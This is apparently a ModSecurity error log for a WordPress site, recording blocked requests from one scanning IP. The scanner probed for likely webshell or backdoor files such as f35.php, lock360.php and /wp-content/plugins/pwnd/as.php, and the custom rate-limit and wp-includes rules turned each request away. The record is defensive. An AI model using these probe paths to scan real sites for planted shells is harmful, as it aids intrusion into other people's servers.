[Tue Jan 27 03:01:26.341397 2026] [:error] [pid 44849:tid 44862] [client 40.115.140.37:5658] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aXe6BhvM0vcShMgZVmQKSwAAAUs"]
[Tue Jan 27 03:01:26.868536 2026] [:error] [pid 44587:tid 44793] [client 40.115.140.37:9102] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aXe6BosXadca93KAT8QBgQAAAME"]
[Tue Jan 27 03:01:27.433100 2026] [:error] [pid 18632:tid 18650] [client 40.115.140.37:2179] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aXe6B6U_e_bi-Bnkkm4dDgAAAE8"]
[Tue Jan 27 03:01:28.563565 2026] [:error] [pid 44849:tid 44872] [client 40.115.140.37:10181] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aXe6CBvM0vcShMgZVmQKTwAAAVU"]
[Tue Jan 27 03:01:29.597446 2026] [:error] [pid 18632:tid 18650] [client 40.115.140.37:3721] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aXe6CaU_e_bi-Bnkkm4dIgAAAE8"]
[Tue Jan 27 03:01:30.075741 2026] [:error] [pid 23303:tid 23324] [client 40.115.140.37:10188] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aXe6Cp9-XqTbIalaUZyg0AAAAZM"]
[Tue Jan 27 03:01:30.777104 2026] [:error] [pid 44849:tid 44866] [client 40.115.140.37:8385] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aXe6ChvM0vcShMgZVmQKUgAAAU8"]
[Tue Jan 27 03:01:32.288381 2026] [:error] [pid 57173:tid 57247] [client 40.115.140.37:3766] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aXe6DE4W-bz8q8pfNmgxXgAAAA4"]
[Tue Jan 27 03:01:32.670589 2026] [:error] [pid 57173:tid 57254] [client 40.115.140.37:10422] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aXe6DE4W-bz8q8pfNmgxXwAAABU"]
[Tue Jan 27 03:01:33.753892 2026] [:error] [pid 44849:tid 44871] [client 40.115.140.37:6121] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aXe6DRvM0vcShMgZVmQKVwAAAVQ"]
[Tue Jan 27 03:01:34.352940 2026] [:error] [pid 44587:tid 44802] [client 40.115.140.37:8424] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aXe6DosXadca93KAT8QBpQAAAMo"]
[Tue Jan 27 03:01:35.100498 2026] [:error] [pid 44587:tid 44794] [client 40.115.140.37:9094] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aXe6D4sXadca93KAT8QBpgAAAMI"]
[Tue Jan 27 03:01:37.239340 2026] [:error] [pid 44587:tid 44800] [client 40.115.140.37:11899] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aXe6EYsXadca93KAT8QBpwAAAMg"]
[Tue Jan 27 03:01:38.105003 2026] [:error] [pid 44588:tid 44830] [client 40.115.140.37:8414] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6EjHRQD80UhqYrcApIAAAAQo"]
[Tue Jan 27 03:01:38.883087 2026] [:error] [pid 44588:tid 44833] [client 40.115.140.37:10417] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6EjHRQD80UhqYrcApIQAAAQ0"]
[Tue Jan 27 03:01:41.159738 2026] [:error] [pid 23303:tid 23319] [client 40.115.140.37:8440] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6FZ9-XqTbIalaUZyg3gAAAY4"]
[Tue Jan 27 03:01:42.046825 2026] [:error] [pid 44587:tid 44795] [client 40.115.140.37:10223] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6FosXadca93KAT8QBrAAAAMM"]
[Tue Jan 27 03:01:42.666042 2026] [:error] [pid 23303:tid 23308] [client 40.115.140.37:8704] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6Fp9-XqTbIalaUZyg4wAAAYM"]
[Tue Jan 27 03:01:43.523648 2026] [:error] [pid 44587:tid 44810] [client 40.115.140.37:6467] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6F4sXadca93KAT8QBrwAAANI"]
[Tue Jan 27 03:01:44.260865 2026] [:error] [pid 23303:tid 23320] [client 40.115.140.37:3762] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6GJ9-XqTbIalaUZyg5QAAAY8"]
[Tue Jan 27 03:01:44.817434 2026] [:error] [pid 57173:tid 57243] [client 40.115.140.37:10206] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6GE4W-bz8q8pfNmgxawAAAAs"]
[Tue Jan 27 03:01:46.424592 2026] [:error] [pid 18632:tid 18649] [client 40.115.140.37:5485] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aXe6GqU_e_bi-Bnkkm4dNAAAAE4"]
[Tue Jan 27 03:01:47.451685 2026] [:error] [pid 18632:tid 18655] [client 40.115.140.37:5478] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aXe6G6U_e_bi-Bnkkm4dOAAAAFQ"]
[Tue Jan 27 03:01:48.032798 2026] [:error] [pid 44849:tid 44857] [client 40.115.140.37:3769] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aXe6HBvM0vcShMgZVmQKYgAAAUY"]
[Tue Jan 27 03:01:49.261254 2026] [:error] [pid 44588:tid 44836] [client 40.115.140.37:12139] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aXe6HTHRQD80UhqYrcApLAAAARA"]
[Tue Jan 27 03:01:50.200836 2026] [:error] [pid 23303:tid 23317] [client 40.115.140.37:10389] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aXe6Hp9-XqTbIalaUZyg8gAAAYw"]
[Tue Jan 27 03:01:51.362433 2026] [:error] [pid 18632:tid 18651] [client 40.115.140.37:7543] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aXe6H6U_e_bi-Bnkkm4dPgAAAFA"]
[Tue Jan 27 03:01:52.045979 2026] [:error] [pid 18632:tid 18645] [client 40.115.140.37:8418] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aXe6IKU_e_bi-Bnkkm4dPwAAAEo"]
[Tue Jan 27 03:01:53.466637 2026] [:error] [pid 18632:tid 18643] [client 40.115.140.37:13274] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aXe6IaU_e_bi-Bnkkm4dRAAAAEg"]
[Tue Jan 27 03:01:55.401963 2026] [:error] [pid 23303:tid 23320] [client 40.115.140.37:4917] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aXe6I59-XqTbIalaUZyg-wAAAY8"]
[Tue Jan 27 03:01:56.120654 2026] [:error] [pid 44849:tid 44870] [client 40.115.140.37:7417] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aXe6JBvM0vcShMgZVmQKawAAAVM"]
[Tue Jan 27 03:01:56.783578 2026] [:error] [pid 23303:tid 23312] [client 40.115.140.37:12155] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aXe6JJ9-XqTbIalaUZyg_gAAAYc"]
[Tue Jan 27 03:01:57.586757 2026] [:error] [pid 18632:tid 18651] [client 40.115.140.37:6840] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aXe6JaU_e_bi-Bnkkm4dRgAAAFA"]
[Tue Jan 27 03:01:58.088721 2026] [:error] [pid 57173:tid 57244] [client 40.115.140.37:12134] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aXe6Jk4W-bz8q8pfNmgxewAAAAw"]
[Tue Jan 27 03:01:59.001684 2026] [:error] [pid 44586:tid 44785] [client 40.115.140.37:5997] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aXe6J6ZDnq-dPBqM5Li56QAAAJU"]
[Tue Jan 27 03:02:00.139146 2026] [:error] [pid 44586:tid 44767] [client 40.115.140.37:6010] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aXe6KKZDnq-dPBqM5Li56wAAAIM"]
[Tue Jan 27 03:02:01.132799 2026] [:error] [pid 44587:tid 44794] [client 40.115.140.37:7339] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aXe6KYsXadca93KAT8QBvQAAAMI"]
[Tue Jan 27 03:02:02.214170 2026] [:error] [pid 44586:tid 44766] [client 40.115.140.37:7300] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aXe6KqZDnq-dPBqM5Li57gAAAII"]
[Tue Jan 27 03:02:03.646903 2026] [:error] [pid 44849:tid 44862] [client 40.115.140.37:7350] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aXe6KxvM0vcShMgZVmQKeQAAAUs"]
[Tue Jan 27 03:02:04.768627 2026] [:error] [pid 23303:tid 23314] [client 40.115.140.37:14769] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aXe6LJ9-XqTbIalaUZyhBgAAAYk"]
[Tue Jan 27 03:02:50.214968 2026] [:error] [pid 57173:tid 57247] [client 40.115.140.37:14631] [client 40.115.140.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aXe6Wk4W-bz8q8pfNmgx1QAAAA4"]
[Tue Jan 27 03:02:55.819625 2026] [:error] [pid 44588:tid 44838] [client 40.115.140.37:4875] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aXe6XzHRQD80UhqYrcApngAAARI"]
[Tue Jan 27 03:02:57.436071 2026] [:error] [pid 23303:tid 23318] [client 40.115.140.37:11636] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aXe6YZ9-XqTbIalaUZyhgAAAAY0"]
[Tue Jan 27 03:02:57.957935 2026] [:error] [pid 44849:tid 44873] [client 40.115.140.37:10992] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aXe6YRvM0vcShMgZVmQKvwAAAVY"]
[Tue Jan 27 03:02:58.713853 2026] [:error] [pid 44586:tid 44773] [client 40.115.140.37:10113] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aXe6YqZDnq-dPBqM5Li6JAAAAIk"]
[Tue Jan 27 03:02:59.150814 2026] [:error] [pid 44586:tid 44772] [client 40.115.140.37:11628] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aXe6Y6ZDnq-dPBqM5Li6JgAAAIg"]
[Tue Jan 27 03:02:59.849926 2026] [:error] [pid 44586:tid 44785] [client 40.115.140.37:11816] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aXe6Y6ZDnq-dPBqM5Li6KAAAAJU"]
[Tue Jan 27 03:03:01.250197 2026] [:error] [pid 44849:tid 44859] [client 40.115.140.37:10951] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aXe6ZRvM0vcShMgZVmQKwgAAAUg"]
[Tue Jan 27 03:03:02.343489 2026] [:error] [pid 44587:tid 44801] [client 40.115.140.37:11594] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aXe6ZosXadca93KAT8QCEQAAAMk"]
[Tue Jan 27 03:03:02.886167 2026] [:error] [pid 44849:tid 44862] [client 40.115.140.37:2680] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "aXe6ZhvM0vcShMgZVmQKxQAAAUs"]
[Tue Jan 27 03:03:03.267795 2026] [:error] [pid 44586:tid 44782] [client 40.115.140.37:2634] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "aXe6Z6ZDnq-dPBqM5Li6KwAAAJI"]
[Tue Jan 27 03:03:03.750996 2026] [:error] [pid 44849:tid 44871] [client 40.115.140.37:10160] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "aXe6ZxvM0vcShMgZVmQKxwAAAVQ"]
[Tue Jan 27 03:03:04.316860 2026] [:error] [pid 57173:tid 57245] [client 40.115.140.37:10957] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "aXe6aE4W-bz8q8pfNmgx2AAAAA0"]
[Tue Jan 27 03:03:05.253557 2026] [:error] [pid 23303:tid 23317] [client 40.115.140.37:10149] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aXe6aZ9-XqTbIalaUZyhiwAAAYw"]
[Tue Jan 27 03:03:06.753304 2026] [:error] [pid 44849:tid 44853] [client 40.115.140.37:11634] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aXe6ahvM0vcShMgZVmQKzAAAAUI"]
[Tue Jan 27 03:03:07.352945 2026] [:error] [pid 44586:tid 44784] [client 40.115.140.37:2247] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aXe6a6ZDnq-dPBqM5Li6NQAAAJQ"]
